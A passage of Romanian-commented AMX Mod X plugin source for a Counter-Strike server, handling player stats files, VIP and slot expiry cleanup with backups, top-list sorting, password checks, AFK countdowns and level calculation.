	return PLUGIN_HANDLED
}

HowChange(id, nume, attrb, time)
{
	console_print(id, "**************************************")
	console_print(id, "[ Comanda Resetare: amx_vipinfo <nume> <comanda> <timp>")
	console_print(id, "")
	if (nume)
		console_print(id, "<nume> -> Parte din nume/Nume")
	if (attrb)
	{
		console_print(id, "[ Comanda ]")
		console_print(id, "a -> Down zile VIP.")
		console_print(id, "b -> Up zile VIP.")
	}
	if (time)
		console_print(id, "<timp> -> Cate zile ii scazi/cresti din VIP.(mai putin de cate zile mai are)")
	console_print(id, "")
	console_print(id, "Exemplu: amx_vipinfo ^"CsN^" ^"a^" ^"10^"")
	console_print(id, "**************************************")
	return PLUGIN_HANDLED
}


/* ==========================================================================================
===================================================== Special Plugin -> CleanMod
========================================================================================== */
public CleanMod(id)
{
	if (str_to_num(CLEAN_MOD_STATUS))
	{
		if (id == 0)
		{
			new xP[32], xN
			get_players(xP, xN, "c")
			if (CleanStatus(false) + (3600 * 2) < time())
			{
				xColor(id, "!gCleanMOD Started ->!t Incepe curatarea fisierului de baza.")
				xColor(id, "!gCleanMOD Started ->!t BackUP fisierul de statistici.")
				// Create tempFile
				new tFile[128], fForm[256], TimeNew = time(), DateNew[32], fNewLine[256], saveLine=false, cTime[4], bkData[64], bkFile[128]
				format(tFile, 127, "%s.tmp", sStatsFile)
				format(fForm, 255, ";* Model salvare !!")
				write_file(tFile, fForm, -1)
				format(fForm, 255, ";* ^"Nume^" ^"Parola^" ^"PlayerTime^" ^"UnixLast^" ^"LastIP^" ^"DateLast^" ^"Kills^" ^"HeadShot^" ^"Round^" ^"Death^" ^"Suicide^" ^"Normal/Slot/Vip^" ^"VipStart^" ^"DurataVip^" ^"VipGrad^" ^"VipEnd^"")
				write_file(tFile, fForm, -1)
				format(fForm, 255, "!^"LastUpdate^" ^"0^"")
				write_file(tFile, fForm, -1)
				write_file(tFile, "", -1)
				//
				new xLinie, removedVip, removedSlot, removedPlayers
				new activeVip, activeSlot, activePlayers
				get_time("%d.%m.%Y %H:%M:%S", DateNew, 31)
				get_time("%d.%m.%Y_%H.%M.%S", bkData, 31)
				format(bkFile, 127, "%s/bk_%s.log", sBackUp, bkData)
				format(fForm, 255, "-- BACKUP DATA -- %s -- %s --", DateNew, sStatsFile)
				write_file(bkFile, fForm, -1)
				
				lLog("[ ***** LOG STARTED = [%s] ***** ]", DateNew)
				
				if (file_exists(sStatsFile))
				{
					write_file(bkFile, "------------------------------ DATA ------------------------------", -1)
					new xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32]
					new statsKill[10], statsHs[10], statsRound[10], statsDeath[10], statsSuicide[10]
					new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
					new oFile = fopen(sStatsFile, "r")
					while(!feof(oFile))
					{
						fgets(oFile, xText, 511)
						trim(xText)
						/* bkup */
						write_file(bkFile, xText, -1)
						
						tNume[0] = 0
						tParola[0] = 0
						
						if (xText[0] == ';' || xText[0] == '!' ||
							parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
							statsKill, 9, statsHs, 9, statsRound, 9, statsDeath, 9, statsSuicide, 9, \
							regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
						{
							xLinie++
							continue
						}
						
						if (str_to_num(regInreg) == 2)
						{
							if (str_to_num(vipStart) + (86400 * str_to_num(vipDurata)) <= TimeNew)
							{
								format(regInreg, 1, "0")
								format(vipStart, 31, "0")
								format(vipDurata, 5, "0")
								format(vipGrad, 1, "0")
								format(vipEnd, 1, "-")

								AdminStatus(tNume, true, "", 0)
								
								if (str_to_num(tUnixLast) + (86400 * cvInactiveDay) <= TimeNew)
								{
									saveLine = false
									removedPlayers++
									removedVip++
									ConvertTime(TimeNew - str_to_num(tUnixLast), cTime, true)
									lLog("[DEZACTIVAT] [%s] [I: %d zi%s %d or%s %d minut%s]", \
										tNume, cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
								}
								else
								{
									saveLine = true
									activePlayers++
									removedVip++
									lLog("[DEZACTIVAT VIP] [%s]", tNume)
								}
							}
							else
							{
								saveLine = true
								activeVip++
								activePlayers++
							}
						}
						else
						{
							if (str_to_num(tUnixLast) + (86400 * cvInactiveDay) <= TimeNew)
							{
								if (str_to_num(regInreg) == 1)
								{
									if (str_to_num(tUnixLast) + (86400 * (cvInactiveDay + 2)) <= TimeNew)
									{
										removedSlot++
										removedPlayers++
										saveLine = false
										ConvertTime(TimeNew - str_to_num(tUnixLast), cTime, true)
										lLog("[DEZACTIVAT SLOT] [%s] [I: %d zi%s %d or%s %d minut%s]", \
											tNume, cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
									}
									else
									{
										saveLine = true
										activeSlot++
										activePlayers++
									}
								}
								else
								{
									removedPlayers++
									saveLine = false
									ConvertTime(TimeNew - str_to_num(tUnixLast), cTime, true)
									lLog("[DEZACTIVAT] [%s] [I: %d zi%s %d or%s %d minut%s]", \
										tNume, cTime[0], cTime[0] == 1 ? "" : "le", cTime[1], cTime[1] == 1 ? "a" : "e", cTime[2], cTime[2] == 1 ? "" : "e")
								}
							}
							else
							{
								if (str_to_num(regInreg) == 1)
									activeSlot++
								activePlayers++
								saveLine = true
							}	
						}
						if (saveLine)
						{
							format(fNewLine, 511, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",\
							tNume, tParola, tTime, tUnixLast, tLastIP, tLast, statsKill, statsHs, statsRound, statsDeath, statsSuicide,\
							regInreg, vipStart, vipDurata, vipGrad, vipEnd)
							write_file(tFile, fNewLine, -1)
						}
						xLinie++
					}
					write_file(bkFile, "------------------------------ DATA ------------------------------", -1)
					fclose(oFile)
				}
				lLog("* Linii: %d", xLinie)
				lLog("* dPlayers: %d", removedPlayers)
				lLog("* aPlayers: %d", activePlayers)
				lLog("* dVIP: %d", removedVip)
				lLog("* aVIP: %d", activeVip)
				lLog("* dSLOT: %d", removedSlot)
				lLog("* aSLOT: %d", activeSlot)
				// Save New File.
				if (delete_file(sStatsFile)) {
					lLog("* Fisierul a fost sters: [%s]", sStatsFile)
					if (rename_file(tFile, sStatsFile, 1))
					{
						lLog("* Fisierul a fost redenumit. [%s] > [%s]", tFile, sStatsFile)
						CleanStatus(true)
					}
					else
					{
						lLog("* EROARE: Nu pot redenumi fisierul: [%s]", tFile)
					}
				}
				else
				{
					lLog("* Nu pot sterge fisierul: [%s]", sStatsFile)
					delete_file(tFile)
				}
				lLog("****************************** FINISH ******************************")
			}
		}
	}
	return PLUGIN_HANDLED
}

lLog(const msg[], any:...)
{
	new xLg[512]
	vformat(xLg, 250, msg, 2)
	write_file(sCleanMod, xLg, -1)
}

CleanStatus(mode)
{
	/* True = Seteaza
	False = Returneaza */
	new xLinie, xText[64], L1[32], L2[32], fNew[64]
	if (file_exists(sStatsFile))
	{
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 63)
			trim(xText)
			
			if (xText[0] == '!')
			{
				parse(xText, L1, 31, L2, 31)
				if (mode)
				{
					format(fNew, 63, "!^"LastUpdate^" ^"%d^"", time())
					write_file(sStatsFile, fNew, xLinie)
					break
				}
				else
				{
					fclose(oFile)
					return str_to_num(L2)
				}
			}
			xLinie++
		}
		fclose(oFile)
	}
	return 0
}

/* ==========================================================================================
===================================================== Update TOP
========================================================================================== */
public UpdateTop()
{
	new count
	/* Reset Lsat Stats */
	for (new i=0;i < MAX_COUNT; i++)
	{
		sortJucatori[i][0] = 0
		sortJucatori[i][1] = 0
		sortOre[i][0] = 0
		sortOre[i][1] = 0
		format(sortMore[i], 255, "")
	}
	/* Up Top */
	if (file_exists(sStatsFile))
	{
		new xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32], iDay = get_pcvar_num(get_cvar_pointer("hnsf_zile_inactive"))
		new statsKill[10], statsHs[10], statsRound[10], statsDeath[10], statsSuicide[10]
		new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
		new IsOn
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)
			
			tNume[0] = 0
			tParola[0] = 0
			
			if (xText[0] == ';' || xText[0] == '!' || 
				parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
				statsKill, 9, statsHs, 9, statsRound, 9, statsDeath, 9, statsSuicide, 9, \
				regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
				continue
			
			IsOn = IsOnline(tNume)
			if (IsOn != 0)
			{
				format(tTime, 31, "%d", plTime[IsOn][0] + get_user_time(IsOn, 1))
				format(tUnixLast, 31, "%d", plTime[IsOn][1])
				format(tLast, 31, "%s", plLast[IsOn])
				format(statsKill, 9, "%d", plStats[IsOn][0])
				format(statsHs, 9, "%d", plStats[IsOn][1])
				format(statsRound, 9, "%d", plStats[IsOn][2])
				format(statsDeath, 9, "%d", plStats[IsOn][3])
				format(statsSuicide, 9, "%d", plStats[IsOn][4])
				format(regInreg, 1, "%d", plAcces[IsOn])
				format(vipStart, 31, "%d", plVipInfo[IsOn][0])
				format(vipDurata, 31, "%d", plVipInfo[IsOn][1])
				format(vipGrad, 31, "%d", plVipInfo[IsOn][2])
				format(vipEnd, 31, "%s", plVipEnd[IsOn])
				format(xText, 511, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"", \
				tNume, tParola, tTime, tUnixLast, tLastIP, tLast, statsKill, statsHs, statsRound, statsDeath, statsSuicide, regInreg, vipStart, vipDurata, vipGrad, vipEnd)
			}
			
			if (str_to_num(tUnixLast) + (86400 * iDay) <= time())
				continue
				
			if (count >= MAX_COUNT-1)
			{
				set_pcvar_num(cvInactiveDay, iDay - 1)
				fclose(oFile)
				UpdateTop()
				return
			}
			
			sortJucatori[count][0] = count
			sortJucatori[count][1] = CalculateStats(0, str_to_num(statsKill), str_to_num(statsHs), str_to_num(statsRound), str_to_num(statsDeath), str_to_num(statsSuicide))
			
			sortOre[count][0] = count
			sortOre[count][1] = str_to_num(tTime)
			
			copy(sortMore[count], 255, xText)
			
			count++
		}
		fclose(oFile)
	}
	/* Sort */
	SortCustom2D(sortJucatori, count, "sort_descendent")
	SortCustom2D(sortOre, count, "sort_descendent")
	topTotalPlayers = count
	/* Binding Tops */
	for (new y=0;y < TOP;y++)
	{
		new tCln[2], pNume[32], pAcces[2], oNume[32], oAcces[2], oLast[32]
		new pStatsKill[10], pStatsHs[10], pStatsRound[10], pStatsDeath[10], pStatsSuicide[10]
		parse(sortMore[sortOre[y][0]], oNume, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, oLast, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, tCln, 1, oAcces, 1)
		parse(sortMore[sortJucatori[y][0]], pNume, 31, tCln, 1, tCln, 1, tCln, 1, tCln, 1, tCln, 1, pStatsKill, 9, pStatsHs, 9, pStatsRound, 9, pStatsDeath, 9, pStatsSuicide, 9, pAcces, 1)
		/* Bind */
		copy(topOreNume[y], 31, oNume)
		format(topOreTime[y], 31, "%d", sortOre[y][1])
		copy(topOreLast[y], 31, oLast)
		
		copy(topJucatoriNume[y], 31, pNume)
		topJucatoriStats[y][0] = str_to_num(pStatsKill)
		topJucatoriStats[y][1] = str_to_num(pStatsHs)
		topJucatoriStats[y][2] = str_to_num(pStatsRound)
		topJucatoriStats[y][3] = str_to_num(pStatsDeath)
		topJucatoriStats[y][4] = str_to_num(pStatsSuicide)
		topJucatoriLvl[y][0] = CalculateStats(0, topJucatoriStats[y][0], topJucatoriStats[y][1], topJucatoriStats[y][2], topJucatoriStats[y][3], topJucatoriStats[y][4])
		topJucatoriLvl[y][1] = CalculateLevel(0, topJucatoriStats[y][0], topJucatoriStats[y][1], topJucatoriStats[y][2], topJucatoriStats[y][3], topJucatoriStats[y][4])

		switch(str_to_num(oAcces))
		{
			case 0: format(topOreAcces[y], 31, "[NORMAL]")
			case 1: format(topOreAcces[y], 31, "[-SLOT-]")
			case 2: format(topOreAcces[y], 31, "[-VIP-]")
		}
		switch(str_to_num(pAcces))
		{
			case 0: format(topJucatoriAcces[y], 31, "[NORMAL]")
			case 1: format(topJucatoriAcces[y], 31, "[-SLOT-]")
			case 2: format(topJucatoriAcces[y], 31, "[-VIP-]")
		}
	}
	get_time("%d.%m.%Y %H:%M:%S", topLastUpdate, 31)
	xColor(0, "Topurile au fost updatate. (!g/rankme!n /!g /topjucatori!n /!g /topore!n)")
	return
}

public sort_descendent(elem1[],elem2[]) {
	if(elem1[1] > elem2[1]) return -1
	else if(elem1[1] < elem2[1]) return 1
	return 0
}

/* ==========================================================================================
===================================================== Functii Globale
========================================================================================== */
InfoPlayer(vNume[], rParola[], rTime[], rLastIP[], rLast[], rStats[], rSlotVipInfo[], rVipEnd[])
{
	new fReturn = false
	if (file_exists(sStatsFile))
	{
		new xText[512], tNume[64], tParola[64], tTime[32], tUnixLast[32], tLastIP[32], tLast[32]
		new statsKill[32], statsHs[32], statsRound[32], statsDeath[32], statsSuicide[32]
		new regInreg[2], vipStart[32], vipDurata[6], vipGrad[2], vipEnd[64]
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)

			tNume[0] = 0
			tParola[0] = 0

			if (xText[0] == ';' || xText[0] == '!' ||
				parse(xText, tNume, 63, tParola, 63, tTime, 31, tUnixLast, 31, tLastIP, 31, tLast, 31, \
				statsKill, 31, statsHs, 31, statsRound, 31, statsDeath, 31, statsSuicide, 31, \
				regInreg, 1, vipStart, 31, vipDurata, 5, vipGrad, 1, vipEnd, 63) < 2)
				continue

			if (equali(vNume, tNume))
			{
				format(rParola, 63, tParola)
					
				rTime[0] = str_to_num(tTime)
				rTime[1] = str_to_num(tUnixLast)

				format(rLastIP, 63, tLastIP)
				format(rLast, 63, tLast)

				rStats[0] = str_to_num(statsKill)
				rStats[1] = str_to_num(statsHs)
				rStats[2] = str_to_num(statsRound)
				rStats[3] = str_to_num(statsDeath)
				rStats[4] = str_to_num(statsSuicide)

				rSlotVipInfo[0] = str_to_num(regInreg)
				rSlotVipInfo[1] = str_to_num(vipStart)
				rSlotVipInfo[2] = str_to_num(vipDurata)
				rSlotVipInfo[3] = str_to_num(vipGrad)

				format(rVipEnd, 63, vipEnd)
				
				fReturn = true
				
				stats_LOG(0, vNume, rTime[0], rLastIP, rStats[0], rStats[1], rStats[2], rStats[3], rStats[4], rSlotVipInfo[0], rSlotVipInfo[1], rSlotVipInfo[2], rSlotVipInfo[3])  
			}
		}
		fclose(oFile)
	}
	return fReturn
}

VerificareParola(id, pass[])
{
	new UserPw[64]
	get_user_info(id, PwFieldServer, UserPw, 63)
	if (equal(pass, UserPw))
		return true
	return false
}

VerificareUser(id)
{
	new Nume[32], Ip[32]
	get_user_name(id, Nume, 31)
	get_user_ip(id, Ip, 31, 1)
	new infoParola[64], infoTime[2], infoLastIP[64], infoLast[64], infoStats[5], infoReg[4], infoVipEnd[64]
	if (InfoPlayer(Nume, infoParola, infoTime, infoLastIP, infoLast, infoStats, infoReg, infoVipEnd))
	{
		plAcces[id] = 0
		switch(infoReg[0])
		{
			case 0: 
			{
				plAcces[id]=0			// Normal
				plVipInfo[id][0]=0
				plVipInfo[id][1]=0
				plVipInfo[id][2]=0
				format(plVipEnd[id], 63, "")
				ResetModel(id)
			}
			case 1:
			{
				plAcces[id]=1		// Slot
				plVipInfo[id][0]=0
				plVipInfo[id][1]=0
				plVipInfo[id][2]=0
				format(plVipEnd[id], 63, "")
				ResetModel(id)
			}
			case 2:
			{
				plAcces[id]=2	// Vip
				plVipInfo[id][0]=infoReg[1]
				plVipInfo[id][1]=infoReg[2]
				plVipInfo[id][2]=infoReg[3]
				copy(plVipEnd[id], 63, infoVipEnd)
				SetModel(id, true)
			}
		}

		if (plAcces[id] > 0)
		{
			if (!VerificareParola(id, infoParola))
			{
				server_cmd("kick #%d ^"Daca ai incercat sa intri pe numele adminului, iei **** ! [setinfo %s PAROLA]^"", get_user_userid(id), PwFieldServer)
			}
			else
			{
				if (plAcces[id] == 1 || plAcces[id] == 2)
				{
					new sAcces
					if (plAcces[id] == 1)
					{
						sAcces = read_flags(SLOT_ACCES)
					}
					if (plAcces[id] == 2)
					{
						new vInfo = plVipInfo[id][2]
						sAcces = read_flags(VipAcces[vInfo])
					}
					remove_user_flags(id)
					set_user_flags(id, sAcces)
					admins_push(Nume, infoParola, sAcces, read_flags("a"))
				}
			}
		}
		plStats[id][0]=infoStats[0]
		plStats[id][1]=infoStats[1]
		plStats[id][2]=infoStats[2]
		plStats[id][3]=infoStats[3]
		plStats[id][4]=infoStats[4]
		plTime[id][0]=infoTime[0]
		plTime[id][1]=infoTime[1]
		copy(plLastIP[id], 63, infoLastIP)
		copy(plLast[id], 63, infoLast)

		copy(plPass[id], 63, infoParola)
		ScoreAttrib(id)
		plNoBug[id][0] = infoTime[0]
		plNoBug[id][1] = infoStats[0]
		plNoBug[id][2] = infoStats[1]
		plNoBug[id][3] = infoStats[2]
		plNoBug[id][4] = infoStats[3]
		plNoBug[id][5] = infoStats[4]
		stats_LOG(1, Nume, plTime[id][0], plLastIP[id], plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2]) 
	}
	else
	{
		plAcces[id] = 0
		plStats[id][0]=0
		plStats[id][1]=0
		plStats[id][2]=0
		plStats[id][3]=0
		plStats[id][4]=0
		plTime[id][0]=0
		plTime[id][1]=0
		format(plLast[id], 63, "-")
		format(plPass[id], 63, "")
		copy(plLastIP[id], 63, Ip)
		
		ScoreAttrib(id)
		ResetModel(id)
		plNoBug[id][0] = 0
		plNoBug[id][1] = 0
		plNoBug[id][2] = 0
		plNoBug[id][3] = 0
		plNoBug[id][4] = 0
		plNoBug[id][5] = 0
		stats_LOG(4, Nume, plTime[id][0], Ip, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
	}
}

ConvertTime(sec, Time[], full) {
	Time[0] = sec / 3600 / 24		// Zile
	if (full)
		Time[1] = (sec / 3600) % 24	// Ore
	else
		Time[1] = sec / 3600		// Ore
	Time[2] = (sec / 60) % 60		// Min
	Time[3] = sec % 60				// Secunde
}

SalvareStatistici(id, numex[], sec, minus=0)
{
	new Nume[32], Date[32], fLine[512], whdz[4], Ip[32]
	get_time("%d.%m.%Y %H:%M:%S", Date, 31)
	get_user_ip(id, Ip, 31, 1)
	if (id != 0)
		get_user_name(id, Nume, 31)
	else
		copy(Nume, 31, numex)
	if (str_to_num(FURT_DE_IDENTITATE))
	{
		if (!CheckFraud(id, plLastIP[id]) && str_to_num(VERIFICA_JUCATOR))
		{
			stats_LOG(-2)
			stats_LOG(7, Nume, plNoBug[id][0], plLastIP[id], plNoBug[id][1], plNoBug[id][2], plNoBug[id][3], plNoBug[id][4], plNoBug[id][5], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
			stats_LOG(8, Nume, plTime[id][0], Ip, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
			stats_LOG(-2)
			return false
		}
	}
	if (plNoBug[id][0] >= (plTime[id][0] + sec) - minus && 
	(plNoBug[id][1] < plStats[id][0] || plNoBug[id][2] < plStats[id][1] || plNoBug[id][3] < plStats[id][2] || plNoBug[id][4] < plStats[id][3] || plNoBug[id][5] < plStats[id][4]))
	{
		stats_LOG(-1)
		stats_LOG(3, Nume, plTime[id][0], plLastIP[id], plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
		stats_LOG(6, Nume, plNoBug[id][0], Ip, plNoBug[id][1], plNoBug[id][2], plNoBug[id][3], plNoBug[id][4], plNoBug[id][5], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2])
		stats_LOG(-1)
		return false
	}
	switch(plAcces[id])
	{
		case 0:
		{
			whdz[0] = 0
			whdz[1] = 0
			whdz[2] = 0
			whdz[3] = 0
			format(plVipEnd[id], 31, "-")
		}
		case 1:
		{
			whdz[0] = 1
			whdz[1] = 0
			whdz[2] = 0
			whdz[3] = 0
			format(plVipEnd[id], 31, "-")
		}
		case 2:
		{
			whdz[0] = 2
			whdz[1] = plVipInfo[id][0]
			whdz[2] = plVipInfo[id][1]
			whdz[3] = plVipInfo[id][2]
		}
	}

	format(fLine, 511, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"", \
		Nume, plPass[id], (plTime[id][0] + sec) - minus, time(), Ip, Date,\
		plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4],\
		whdz[0], whdz[1], whdz[2], whdz[3], plVipEnd[id])
	if (file_exists(sStatsFile))		
	{
		new xLinie, xText[512], tNume[64], tParola[64]
		new oFile = fopen(sStatsFile, "r")
		while(!feof(oFile))
		{
			fgets(oFile, xText, 511)
			trim(xText)

			tNume[0] = 0
			tParola[0] = 0

			if (xText[0] == ';' || xText[0] == '!' ||
				parse(xText, tNume, 63, tParola, 63) < 2)
			{
				xLinie++
				continue
			}
			if (equali(tNume, Nume)) 
			{
				write_file(sStatsFile, fLine, xLinie)
				fclose(oFile)
				stats_LOG(2, Nume, plTime[id][0], plLastIP[id], plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2]) 
				return true
			}
			xLinie++
		}
		write_file(sStatsFile, fLine, -1)
		fclose(oFile)
		stats_LOG(5, Nume, plTime[id][0], Ip, plStats[id][0], plStats[id][1], plStats[id][2], plStats[id][3], plStats[id][4], plAcces[id], plVipInfo[id][0], plVipInfo[id][1], plVipInfo[id][2]) 
	}
	return false
}

CalculateStats(id, kx=0, hx=0, rx=0, dx=0, sx=0)
{
	new xRank
	if (id != 0)
		xRank = (plStats[id][0] + plStats[id][1] + plStats[id][2]) - (plStats[id][3] + plStats[id][4])
	else
		xRank = (kx + hx + rx) - (dx + sx)
	return xRank
}

IsVip(id)
{
	if (is_user_connected(id) || !is_user_bot(id))
		for (new i=1; i < sizeof(VipAcces); i++)
			if (get_user_flags(id) == read_flags(VipAcces[i]))
				return i
	return 0
}

public CountDownTime(CD[])
{
	new xMsg[512], id = CD[0], ch = 2, Float:posX = 0.03, Float:posY = 0.50
	new rR = random_num(40, 254)
	new rG = random_num(40, 254)
	new rB = random_num(40, 254)
	if (CD[1] < 1)
	{
		switch(CD[2])
		{
			case 1:
			{
				if (get_user_team(id) == 1)
					format(xMsg, 511, "Rezista tot mai mult pentru a acumula puncte.")
				if (get_user_team(id) == 2)
					format(xMsg, 511, "Omoara cat mai mult pentru a acumula puncte.")
			}
			case 2:
			{
				format(xMsg, 511, "Activarea slotului a fost anulata.")
			}
			case 3:
			{
				if (get_user_flags(id) & ADMIN_KICK)
				{
					format(xMsg, 511, "Esti AFK.^nVei fi trimis spectator %d secunde", AFK_TIME)
					posY = 0.52
					afkAdmin(id)
				}
				else
				{
					afkKick(id)
				}
			}
			case 4:
			{
				afkKick(id)
			}
		}
		set_hudmessage(0, 255, 0, posX, posY, /* Pozitia*/ 0 /*fx*/, 3.0 /*fx time*/, 4.5 /*hold time*/, 1.5 /*fade in*/, 1.5 /*fade out*/, ch /*ch*/)
		show_hudmessage(id, xMsg)
	}
	else
	{
		switch(CD[2])
		{
			case 1: format(xMsg, 511, "In %d secund%s vei primi itemele.", CD[1], CD[1] == 1 ? "a" : "e")
			case 2: format(xMsg, 511, "Ai %d secund%s pentru parola slotului.", CD[1], CD[1] == 1 ? "a" : "e")
			case 3: 
			{
				if (afkChk(id, false))
				{
					format(xMsg, 511, "Ai %d secund%s pentru a te misca.^nAltfel vei %s", CD[1], CD[1] == 1 ? "a" : "e", get_user_flags(id) & ADMIN_KICK ? "fi trimis spectator" : "primi kick")
					posY = 0.58
					ch = 4
				}
				else
				{
					ch = 4
					format(xMsg, 511, "Treci la joc !.")
					CD[2] = 0
					posY = 0.58
					afkStopAFK[id] = 0
					afkTime[id] = AFK_TIME
				}
			}
			case 4:
			{
				if (get_user_team(id) == 1 || get_user_team(id) == 2)
				{
					format(xMsg, 511, "Ai revenit la joc !.")
					CD[2] = 0
					posY = 0.58
					afkStopAFK[id] = 0
					ch = 4
					afkTime[id] = AFK_TIME
				}
				else
				{
					format(xMsg, 511, "Ai %d secund%s pentru a reveni la o echipa.", CD[1], CD[1] == 1 ? "a" : "e")
					if (CD[1] < 60)
						format(xMsg, 511, "%s^nTasteaza in chat %d pentru a reseta secundele.", xMsg, afkStopAFK[id])
					afkTime[id]--
					ch = 4
					posY = 0.58
					ch = 4
				}
			}
			default: format(xMsg, 511, "")
		}
		set_hudmessage(rR, rG, rB, posX, posY, /* Pozitia*/ 1 /*fx*/, 1.5 /*fx time*/, 0.5 /*hold time*/, 0.3 /*fade in*/, 0.6 /*fade out*/, ch /*ch*/)
		show_hudmessage(id, xMsg)
		new nSend[3]
		nSend[0] = id
		nSend[2] = CD[2]
		switch(CD[2])
		{
			case 4: nSend[1] = afkTime[id]
			default: nSend[1] = CD[1] - 1
		}

		switch(CD[2])
		{
			case 1: set_task(1.0, "CountDownTime", CD[0] + TASK_ITEMS, nSend, 3)
			case 2: set_task(1.0, "CountDownTime", CD[0] + TASK_SLOTME_PW, nSend, 3)
			case 3: set_task(1.0, "CountDownTime", CD[0] + TASK_AFK_ADV_TIME, nSend, 3)
			case 4: set_task(1.0, "CountDownTime", CD[0] + TASK_AFK_TIME, nSend, 3)
			default: return PLUGIN_HANDLED
		}
	}
	return PLUGIN_HANDLED
}

CalculateLevel(id, kx=0, hx=0, rx=0, dx=0, sx=0)
{
	new xRank
	if (id != 0)
		xRank = CalculateStats(id)
	else
		xRank = CalculateStats(0, kx, hx, rx, dx, sx)
	if (xRank >= str_to_num(LevelXP[45]))
		return 45
	if (xRank >= str_to_num(LevelXP[44]))
		return 44
	if (xRank >= str_to_num(LevelXP[43]))
		return 43
	if (xRank >= str_to_num(LevelXP[42]))
		return 42
	if (xRank >= str_to_num(LevelXP[41]))
		return 41
	if (xRank >= str_to_num(LevelXP[40]))
		return 40
	if (xRank >= str_to_num(LevelXP[39]))
		return 39
	if (xRank >= str_to_num(LevelXP[38]))
		return 38
	if (xRank >= str_to_num(LevelXP[37]))
		return 37
	if (xRank >= str_to_num(LevelXP[36]))
		return 36
	if (xRank >= str_to_num(LevelXP[35]))
		return 35
	if (xRank >= str_to_num(LevelXP[34]))
		return 34
	if (xRank >= str_to_num(LevelXP[33]))
		return 33
	if (xRank >= str_to_num(LevelXP[32]))
		return 32
	if (xRank >= str_to_num(LevelXP[31]))
		return 31
	if (xRank >= str_to_num(LevelXP[30]))
		return 30
	if (xRank >= str_to_num(LevelXP[29]))
		return 29
	if (xRank >= str_to_num(LevelXP[28]))
		return 28
	if (xRank >= str_to_num(LevelXP[27]))
		return 27
	if (xRank >= str_to_num(LevelXP[26]))
		return 26
	if (xRank >= str_to_num(LevelXP[25]))
		return 25
	if (xRank >= str_to_num(LevelXP[24]))
		return 24
	if (xRank >= str_to_num(LevelXP[23]))
		return 23
	if (xRank >= str_to_num(LevelXP[22]))
		return 22
	if (xRank >= str_to_num(LevelXP[21]))
		return 21
	if (xRank >= str_to_num(LevelXP[20]))
		return 20
	if (xRank >= str_to_num(LevelXP[19]))
		return 19
	if (xRank >= str_to_num(LevelXP[18]))
		return 18
	if (xRank >= str_to_num(LevelXP[17]))
		return 17
	if (xRank >= str_to_num(LevelXP[16]))
		return 16
	if (xRank >= str_to_num(LevelXP[15]))
		return 15
	if (xRank >= str_to_num(LevelXP[14]))
		return 14
	if (xRank >= str_to_num(LevelXP[13]))
		return 13
	if (xRank >= str_to_num(LevelXP[12]))
		return 12
	if (xRank >= str_to_num(LevelXP[11]))
		return 11
	if (xRank >= str_to_num(LevelXP[10]))
		return 10
	if (xRank >= str_to_num(LevelXP[9]))
		return 9
	if (xRank >= str_to_num(LevelXP[8]))
		return 8
	if (xRank >= str_to_num(LevelXP[7]))
		return 7
	if (xRank >= str_to_num(LevelXP[6]))
		return 6
	if (xRank >= str_to_num(LevelXP[5]))
		return 5
	if (xRank >= str_to_num(LevelXP[4]))
		return 4
	if (xRank >= str_to_num(LevelXP[3]))
		return 3
	if (xRank >= str_to_num(LevelXP[2]))
		return 2
	if (xRank >= str_to_num(LevelXP[1]))
		return 1
	if (xRank < str_to_num(LevelXP[0]))
		return 0
	return 0
}

CalculatePoints(id)
{
	switch(ptPlStats[id][0])
	{
		case 0..1:		return 0
		case 2..3:		return 1
		case 4..5:		return 2
		case 6..7:		return 3
		case 8..9:		return 4
		case 10..13:	return 5
		case 14..17:	return 6
